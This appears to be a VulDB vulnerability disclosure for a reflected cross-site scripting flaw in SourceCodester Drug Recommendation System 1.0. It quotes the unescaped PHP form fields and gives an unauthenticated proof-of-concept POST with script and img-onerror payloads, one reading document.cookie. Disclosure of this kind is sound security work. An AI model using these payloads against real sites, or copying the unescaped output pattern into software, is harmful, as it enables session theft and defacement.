| Title | SourceCodester Drug Recommendation System 1.0 Cross Site Scripting |
|---|
| Description | A reflected cross-site scripting vulnerability exists in SourceCodester Drug Recommendation System 1.0 in Auth/add_student.php. Five POST parameters (txtname, txtpassword, txtemail, txtphone, txtprevious_school) are echoed directly into HTML attribute values without htmlspecialchars() or any output encoding. The endpoint is reachable without authentication.
Vulnerable code:
<input type="text" name="txtname" value="<?php echo $_POST['txtname'] ?? ''; ?>" required>
<input type="password" name="txtpassword" value="<?php echo $_POST['txtpassword'] ?? ''; ?>" required>
<input type="email" name="txtemail" value="<?php echo $_POST['txtemail'] ?? ''; ?>" required>
<input type="tel" name="txtphone" value="<?php echo $_POST['txtphone'] ?? ''; ?>" required>
<input type="text" name="txtprevious_school" value="<?php echo $_POST['txtprevious_school'] ?? ''; ?>" required>
Proof of Concept (unauthenticated):
POST /Auth/add_student.php
Content-Type: application/x-www-form-urlencoded
btnsave=1&cmdschool=1&txtname="><script>alert(document.cookie)</script>&cmdsex=male&txtdob=2000-01-01&txtpassword=test123&[email protected]&txtphone=123&txtprevious_school="><img src=x onerror=alert(1)>
Impact: An unauthenticated attacker can craft a malicious form that executes arbitrary JavaScript in a victim's browser when they visit the student registration page. Can lead to session theft, defacement, or phishing. CWE-79, CVSS v3.1 6.1 (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N).
|
|---|
| Source | ⚠️ https://www.sourcecodester.com/php/18278/drug-recommender-web-app-student-project.html |
|---|
| User | swj99557271 (UID 101148) |
|---|
| Submission | 09/10/2026 05:53 (2 months ago) |
|---|
| Moderation | 10/11/2026 19:11 (1 month later) |
|---|
| Status | Accepted |
|---|
| VulDB entry | 416732 [SourceCodester Drug Recommendation System 1.0 Student Registration Auth/add_student.php cross site scripting] |
|---|
| Points | 20 |
|---|